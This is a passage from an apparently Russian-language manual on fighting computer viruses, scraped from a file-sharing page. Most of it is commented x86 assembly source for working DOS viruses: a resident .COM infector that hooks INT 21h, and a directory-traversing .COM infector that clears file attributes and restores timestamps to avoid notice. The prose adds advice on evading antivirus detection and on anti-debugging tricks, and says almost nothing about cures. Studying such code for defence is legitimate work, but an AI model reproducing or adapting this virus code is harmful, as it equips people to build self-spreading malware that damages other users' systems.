Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

 

61

 

 

 

cmp

ah,099h

; Это проверка на присутствие в памяти?

je

rezchk

; Да, мы там уже сидим

cmp

ah,4bh

; Какая-то программа запущена

je

infect

; да, заразим ее

exit:

 

 

pop

ds

; восстановим ds из стека

popa

 

; восстановим все регистры из стека

db

0eah

; передадим управление оригинальному

 

 

; обработчику

oi21

dd ?

; Оригинальный обработчик хранится здесь

rezchk: mov

bh,099h

; Ответим на вопрос присутствия в памяти

jmp

exit

; и передадим управление оригинальному

 

 

; обработчику

infect: call

tsrdel

;

tsrdel: pop

bp

; Получаем новое

sub

bp,offset tsrdel

; дельта-смещение

mov

ax,3d02h

; откроем запущенный файл в режиме

int

21h

; чтение/запись

xchg

bx,ax

; положим хэндл файла в bx

push

cs cs

; настраиваем ds и es через стек, чтобы

pop

ds es

; они указывали на cs

mov

ah,3fh

; Читаем из файла

lea

dx,[bp+saved]

; в переменную saved

mov

cx,3

; первых 3 байта

int

21h

;

cmp

word ptr [bp+saved],'ZM'

; Проверяем, а не *.exe ли это

je

close

; да, это *.exe, закрываем файл

cmp

word ptr [bp+saved],'MZ'

;

je

close

;

mov

ax,4202h

; Переходим в конец файла

xor

cx,cx

; Обнуляем cx

cwd

 

; Обнуляем dx

int

21h

; Теперь в ax хранится размер запущенного

 

 

; файла

mov

cx,word ptr [bp+saved+1]

; Положим 2 и 3 байты из заголовка в cx

add

cx,finished-start+3

; добавим размер вируса и длину прочитанных

 

 

; байтов (3)

cmp

ax,cx

; Если ax=cx, то файл уже инфицирован

jz

close

; Закроем его

sub

ax,3

; Отнимем от ax - 3 длину самого jmp

mov

word ptr [bp+newjump+1],ax

; и запишем длину перехода в переменную

 

 

; newjump

mov

ax,4200h

; Перейдем в начало файла

xor

cx,cx

; Обнулим cx

cwd

 

; Обнулим dx

int

21h

;

mov

ah,40h

; Запишем в начало программы

62

 

DOS вирусы

 

 

 

lea

dx,[bp+newjump]

; jmp на тело вируса

mov

cx,3

; это 3 байта

int

21h

;

mov

ax,4202h

; Переходим в конец файла

xor

cx,cx

; Обнуляем cx

cwd

 

; Обнуляем dx

int

21h

;

mov

ah,40h

; Дописываем тело вируса

lea

dx,[bp+start]

; от начала

mov

cx,finished-start

; и до конца

int

21h

;

close:

 

 

mov

ah,3eh

; Закрываем файл

int

21h

;

abort: jmp

exit

; Возвращаем управление оригинальному

 

 

; обработчику

saved

db 0cdh,20h,0

; сохраненные байты

newjump

db 0e9h,0,0

; Здесь будет jmp + смещение

finished:

 

; Все, конец вируса

code

ends

;

end

blank

;

;----------------------------------------------

 

 

В данном вирусе стоит особо остановиться на двух моментах.

1. Рассмотрим посадку в память:

;----------------------------------------------

 

 

;

 

 

sub

word ptr cs:[2],80h

; значит, нас в памяти нет, тогда садимся

mov

ax,cs

; Устанавливаем ax, чтобы указывал на cs

dec

ax

; Уменьшим ax на 1, теперь он указывает на

mov

ds,ax

; MCB, положим в ds - ax

sub

word ptr ds:[3],80h

; отгрызем себе памяти 2 кб

xor

ax,ax

; положим в ax - 0

mov

ds,ax

; поместим 0 в ds

sub

word ptr ds:[413h],2

; добавочные BIOS данные 2 кб

mov

ax,word ptr ds:[413h]

; поместим их в ax

mov

cl,6

; положим в cl - 6

shl

ax,cl

; Умножим доступную память на 64

mov

es,ax

; результат в es

push

cs

; настроим через стек

pop

ds

; ds íà cs

xor

di,di

; обнулим di

lea

si,[bp+start]

; откуда начинаем посадку в память

(start)

 

 

mov

cx,finished-start

; кол-во байт для посадки в память (весь

 

 

; вирус)

rep

movsb

; Садимся в память

;

 

 

;----------------------------------------------

 

 

DOS вирусы

63

 

 

Она отличается тем, что несколько сложнее реализуется, но я бы рекомендовал использовать именно ее, так как при ее использовании появляется возможность написания резидентных паразитов. Также уменьшается вероятность обнаружения антивирусными программами, так как не используются «подозрительные» DOS-функции.

2. Прямой перехват 21 прерывания (подмена обработчика):

;----------------------------------------------

 

 

xor

ax,ax

; Обнулим ax

mov

ds,ax

; Положим ax в ds

lea

ax,new21

; Делаем так, чтобы ax указывал на новый

 

 

; обработчик 21 прерывания

sub

ax,offset start

; отнимем смещение от начала (start)

mov

bx,es

; положим экстрасегмент в bx

cli

 

; выключаем прерывания

xchg

ax,word ptr ds:[84h]

; переключаемся на новый обработчик

xchg

bx,word ptr ds:[86h]

;

mov

word ptr es:[oi21-offset start],ax ; и сохраняем старый

mov

word ptr es:[oi21+2-offset start],bx ;

sti

 

; включаем прерывания

;----------------------------------------------

 

 

Преимущества в этом методе те же, что и с посадкой в память, а именно:

маскировка;

удобство реализации паразитов.

В общем, описанный выше вирус является простейшим резидентным *.com паразитом. При проверке его AVP он вирусом назван не был, а идентифицировался как «подозрение на вирус типа TypeCOM_TSR». А самый простой резидентный вирус вообще никак не идентифицировался.

Лечение данных вирусов никак не отличается от их *.com и *.exe нерезидентных братьев. Разве что перед лечением необходимо загрузиться с чистой DOS-дискеты.

Глава 5 Вирусные технологии

Теперь поговорим о том, как вирусы прячутся от людей и антивирусных программ.

Самые первые маскировочные приемы — это усиление кода и перехват сообщений об ошибке записи. Позже появился так называемый «не полный стелс-механизм», т. е. когда либо пользователь, либо программа обращалась к зараженному файлу, а резидентный вирус (который постоянно находится в памяти как бы в спящем состоянии) просыпался и изменял информацию о размере файла на старый размер файла, как будто вирусного тела там и не было. Но если заглянуть внутрь файла, то вирусное тело, как и положено, будет на месте, что и позволяет его удалить.

64

DOS вирусы

 

 

Позже появились вирусы, основанные на так называемой технологии «полный стелс». Данная технология заключалась в том, что вирус, как и в предыдущем случае, будучи резидентным отлавливал DOS-функции чтения или изменения файла и перед тем как передать управление DOS'у, он вначале удалял вирусное тело. Когда пользователь или антивирусная программа просматривали файл, то вируса там уже не было, а перед закрытием та часть вируса, что была в памяти, опять заражала этот файл. Поэтому было очень сложно обнаружить вирусы с данной технологией маскировки.

Сейчас довольно распространены вирусы, которые в большинстве случаев для маскировки используют антиэвристические механизмы и «мутационные» технологии.

5.1. Ускорение эпидемии и простейшая маскировка

Написание обыкновенного нерезидентного вируса сопряжено с рядом проблем. Например, замечательный вирус поселился на каком-нибудь компьютере и заразил всю директорию в которой он находился. А что если ни один зараженный файл из этой директории не будет скопирован в другие директории? Так вирус может томиться в ожидании долгие месяцы или даже годы, а если он и был перемещен с зараженным файлом в другую директорию, то дальше инфицирования этой директории дело не двинется. Так что же в этой ситуации делать? Необходимо использовать такой прием для ускорения эпидемии. В чем же заклю- чается его сущность? Все довольно просто: вирус должен обойти директории и все встреченные подходящие файлы заразить. Необходимо модифицировать наш *.com паразит таким образом, чтобы он всего лишь менял директории.

Существует множество способов обхода директорий, но каждый разработ- чик вирусов использует свой любимый. Мы рассмотрим самый расспространенный. Это так называемый «dot dot»8 обход, его сущность заключается в том, что запоминается текущая директория, а затем из нее идет смена директорий методом подъема на высшую директорию, аналогично команде DOS «cd ..». Когда корневой каталог достигнут, происходит возвращение в каталог, из которого вирус стартовал.

Теперь рассмотрим в качестве примера сохранение текущей директории в переменную «curr_dir»:

;----------------------------------------------

mov ah,47h xor dl,dl

lea si,[bp+curr_dir] int 21h

;----------------------------------------------

Здесь все довольно тривиально и объяснять особо нечего. Теперь посмотрим, как сменить директорию на более высокую:

8 Название dot-dot происходит от использования двух точек «..» в качестве имени каталога для перехода — в ОС MS DOS они обозначают каталог верхнего уровня. — Ïðèì.ðåä.

DOS вирусы

65

 

 

;----------------------------------------------

mov ah,3bh

lea dx,[bp+dot_dot] int 21h

;----------------------------------------------

Здесь тоже все довольно просто, но стоит заметить, что для относительной адресации обращаемся к данным с использованием индексного регистра bp.

Все попытки ускорения эпидемии могут оказаться бесполезными, если на найденных вирусом файлах стоит атрибут «только чтение». Его необходимо вна- чале сохранить, впрочем, как и остальные атрибуты, а затем снять, после чего заразить файл вирусом, а в конце перед передачей управления оригинальной программе восстановить все атрибуты.

Рассмотрим на примере сохранение и снятие атрибутов:

;----------------------------------------------

 

mov ax,4300h

; DOS-функция получения атрибутов

lea dx,[bp+new_dta+30]

; файла с именем, хранящимся по адресу

int 21h

; new_dta+30

push cx

; Непосредственно сохранение атрибутов файла в

 

; стеке

inc al

; Теперь эта функция преобразуется в функцию

xor cx,cx

; изменения атрибутов; с cx=0 это полное их

int 21h

; снятие

;----------------------------------------------

 

Теперь посмотрим, как восстанавливаются атрибуты файла:

;----------------------------------------------

 

mov ax,4301h

;

pop cx

; Вот собственно само восстановление атрибутов

lea dx,[bp+new_dta+30] ; файла

int 21h

;

;----------------------------------------------

 

Все здесь используемые функции были описаны в таблице (см. гл. 3).

Если пользователь заметит, что файл, который у него уже три года лежит нетронутым, вдруг изменил дату последнего изменения на сегодняшнее число, он ничего не заподозрит?

Из этих рассуждений следует: необходимо, чтобы дата после заражения оставалась неизменной. Что для этого нужно? Сначала необходимо сохранить дату последнего изменения файла, затем его инфицировать и после этого восстановить старую дату.

Рассмотрим листинг :

;----------------------------------------------

 

 

mov ax,5700h

; DOS функция получения времени изменения файла

int 21h

;

 

push cx dx

;

Собственно само сохранение даты и времени файла

;----------------------------------------------

 

 

А теперь после инфицирования восстановим старую дату и время:

;----------------------------------------------

 

mov ax,5701h

; DOS-функция изменения даты и времени файла

66

DOS вирусы

 

 

pop dx cx

; восстановление старой даты и времени

int 21h

 

;----------------------------------------------

 

Здесь необходимо отметить, что во время описания *.com и *.exe паразита были намеренно упущены некоторые детали. В *.com паразите необходимо, чтобы размер вируса + размер файла был не более 65535 байт (размер одного сегмента)9. Рассмотрим, как нужно модифицировать проверку на инфицированность, чобы она также проверяла и размер?

Взглянем на листинг:

;----------------------------------------------

 

 

mov ah,3fh

;

Читаем из файла

lea dx,[bp+orig_bytes]

;

Сохраняем оригинальный заголовок

mov cx,3

;

Читаем 3 файла

int 21h

;

 

mov ax,word ptr [bp+new_dta+26]

; Положим размер файла в ax

mov cx,word ptr [bp+orig_bytes+1] ; Jmp смещение

add cx,end_vir-st_vir+3

;

Преобразуем в размер файла без заголовка

push ax

;

Положить ax в стек

add ax,end_vir-st_vir

;

Добавим к размеру файла размер вируса

cmp ax,65535

;

Проверим, не больше ли это 1 сегмента

jnl no_infect

;

Если больше, то не заражаем

pop ax

;

Восстановим ax из стека

cmp ax,cx

;

Сравним размеры

jnz infect

;

Если файл не заражен, то заразим

no_infect:

 

 

;----------------------------------------------

 

 

В *.exe паразите необходимо проверять, чтобы при инфицировании наш вирус не трогал также оверлейные модули (*.exe модули, которые загружают в память не всю программу целиком, а только одну ее часть, и в процессе исполнения подгружаются остальные части с жесткого диска). И как же это реализовать? Необходимо, чтобы длина из заголовка *.exe файла совпадала с реальной длиной этого файла.

Взглянем на листинг:

;----------------------------------------------

 

 

mov ax,word ptr[bp+newDTA+26] ;

Это реальная длина файла

mov bl,byte ptr[bp+buffer+02] ;

В bx будет храниться длина файла

mov bh,byte ptr[bp+buffer+04] ;

из заголовка (buffer)

cmp ax,bx

;

Проверяем соответствие

je infect_exe

;

Если это не оверлей, то заражаем его

;----------------------------------------------

 

 

Еще один вариант проверки на оверлейность *.exe файла:

;----------------------------------------------

cmp word ptr[bp+buffer+26],0

9 Эта особенность присуща только данному описываемому типу вирусов, поскольку в алгоритме размножения для копирования используется буфер размером всего лишь 64 KB —

Ïðèì. ðåä.

DOS вирусы

67

 

 

je

infect_exe

;----------------------------------------------

 

Также при инфицировании DOS *.exe файлов их следует проверять, чтобы они не оказались Windows формата.

Вот листинг такой проверки:

;----------------------------------------------

cmp word ptr[bp+buffer+24],40h jne infect_exe

;----------------------------------------------

Ну вот, это довольно простой и удобный способ.

Теперь все описанные выше приемы применим в деле на *.com паразите для наглядности. Но вы, наверное, уже поняли, что их использовать можно где угодно.

А теперь к листингу вируса:

;----------------------------------------------

 

.model tiny

 

 

.code

 

 

org 100h

 

 

start:

db 0e9h,00h,00h

;

st_vir:

call $+3

 

f_offset:

pop bp

;

 

int 1h

 

 

sub bp, OFFSET f_offset

;

 

 

;

 

 

;

 

lea si,[bp+orig_bytes]

;

 

mov di,100h

;

 

push di

;

 

movsw

 

 

movsb

 

 

lea dx,[bp+new_dta]

;

 

mov ah,1ah

 

 

int 21h

 

 

mov ah,47h

;

 

xor dl,dl

; Сохранение текущей директории

 

lea si,[bp+curr_dir]

;

 

int 21h

;

f2:

 

 

 

mov ah,4eh

;

 

lea dx,[bp+file_m]

;

 

xor cx,cx

;

f_next:

int 21h

;

 

jnc nexta

;

 

jmp next_dir

 

nexta:

 

 

 

mov ax,4300h

; Получение и сохранение атрибутов файла

 

lea dx,[bp+new_dta+30]

;

 

int 21h

;

68

 

DOS вирусы

 

 

 

push cx

;

 

inc al

; Снятие всех атрибутов перед

xor cx,cx

;

инфицированием

int 21h

;

 

mov ax,3d02h

;

 

lea dx,[bp+new_dta+30]

;

 

int 21h

;

 

xchg ax,bx

;

 

mov ax,5700h

;

Сохранение даты и времени файла

int 21h

;

 

push cx dx

;

 

mov ah,3fh

;

Читаем из файла

lea dx,[bp+orig_bytes]

;

Сохраняем оригинальный заголовок

mov cx,3

;

Читаем три файла

int 21h

;

 

mov ax,word ptr [bp+new_dta+26]

; Положим размер файла в ax

mov cx,word ptr [bp+orig_bytes+1] ; Jmp смещение

add cx,end_vir-st_vir+3

;

Преобразуем в размер файла без заголовка

push ax

;

Положить ax в стек

add ax,end_vir-st_vir

;

Добавим к размеру файла размер вируса

cmp ax,65535

;

Проверим, не больше ли это 1 сегмента

jnl no_infect

;

Если больше, то не заражаем

pop ax

;

восстановим ax из стека

cmp ax,cx

;

Сравним размеры

jnz infect

; Если файл не заражен, то заразим

no_infect:

 

 

mov ax,5701h

;

Восстановление времени и даты

pop dx cx

;

 

int 21h

;

 

mov ah,3eh

;

 

int 21h

;

 

mov ax,4301h

;

 

pop cx

;

Восстановление настоящих атрибутов

lea dx,[bp+new_dta+30]

;

 

int 21h

;

 

mov ah,4fh

;

 

jmp short f_next

;

 

exit:

 

 

mov ah,3bh

;

Переход в оригинальную директорию

lea dx,[bp+ret_dir]

;

 

int 21h

;

 

mov dx,80h

;

 

mov ah,1ah

 

 

int 21h

 

 

retn

;

 

infect:

mov ax,word ptr [bp+new_dta+26] sub ax,3

DOS вирусы

 

 

69

 

 

 

 

mov word ptr [bp+jmp_offset],ax

 

 

mov ax,4200h

 

 

 

cwd

 

 

 

xor cx,cx

 

 

 

int 21h

 

 

 

mov ah,40h

;

 

 

int 1h

 

 

 

mov cx,3

;

 

 

lea dx,[bp+header]

;

 

 

int 21h

;

 

 

mov ax,4202h

 

 

 

xor cx,cx

 

 

 

cwd

 

 

 

int 21h

 

 

 

mov ah,40h

;

 

 

int 1h

 

 

 

mov cx,end_vir-st_vir

;

 

 

lea dx,[bp+st_vir]

;

 

 

int 21h

;

 

 

mov ax,5701h

;

 

 

pop dx cx

;

Восстановление оригинальных даты и времени

 

int 21h

;

 

 

mov ah,3eh

;

 

 

int 21h

;

 

 

pop cx

; Восстановление оригинальных атрибутов

 

mov ax,4301h

;

 

 

lea dx,[bp+new_dta+30]

;

 

 

int 21h

;

 

next_dir:

 

 

 

 

mov ah,3bh

; Переход на более высокую директорию

 

lea dx,[bp+dot_dot]

;

 

 

int 21h

;

 

 

jc exit

 

 

 

jmp f2

 

 

file_m

db '*.com',0

;

 

orig_bytes

db 0cdh,20h,0

;

 

dot_dot

db '..',0

;

Директория, куда будет осуществляться

 

 

;

переход

header

db 0e9h

;

 

jmp_offset

dw 0

;

 

ret_dir

db '\'

; Этот символ необходим для возврата в

 

 

; оригинальную директорию

end_vir

equ $

 

 

curr_dir

db 64 dup(?)

; Место под имя оригинальной директории

new_dta

db 43 dup(?)

;

 

end start ;----------------------------------------------

70

DOS вирусы

 

 

Весь вирус был разобран ранее, поэтому комментировались только новые моменты. Это было сделано, чтобы вы посмотрели и сами разобрались в немного усложнившейся логике вируса.

Лечение усложненных вирусов ничем не усложнилось, так как метод инфицирования не изменился.

5.2. Усиление кода

Усиление кода является одним из первых защитных механизмов, до которого додумались разработчики вирусов. Что же это такое? Проще говоря, это последовательности инструкций, при выполнении которых отладчики и дизассемблеры работают с ошибками или вообще не работают. Итак, усиление кода — это инструкции, ориентированные на обман либо отладчика, либо дизассемблера.

Начнем с обмана отладчиков.

Одним из самых старых способов обмана отладчиков является вставить везде и побольше 1 и 3 прерываний (int 1h и int 3h): при выполнении программы под отладчиком она будет каждый раз прерываться при попадании на эти инструкции. Второй способ сродни первому — нужно аналогичным образом поставить команды hlt. Эти два способа хоть и старые, но до сих пор действенные.

Третий способ — это работа со стеком: отладчик либо виснет, либо умирает при попытке исполнить такие команды10:

;----------------------------------------------

debugger_die:

not sp not sp

;----------------------------------------------

Достаточно вставить этот кусочек кода в начало программы, и практически все отладчики при попытке исполнить его погибнут. Также можно использовать другие инструкции по работе со стеком (dec sp...). Это тоже даст нужный эффект.

Возможна подмена обработчиков 1 и 3 прерываний на обработчик-пустыш- ку. Рассмотрим этот способ на примере программы, которая при нормальной работе выводит одно сообщение, а при отладке другое.

Рассмотрим листинг:

;----------------------------------------------

cseg segment org 100h

assume cs:cseg,ds:cseg,es:cseg

start:

 

 

 

mov

ax, 2503h

;

mov

dx,

offset int_start

;Ставим новый обработчик на 3 прерывание

int

21h

 

;

10 Имеются ввиду отладчики 8086, не имеющие режимов эмуляции и поддержки аппаратных регистров отладки. — Ïðèì. ðåä.

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]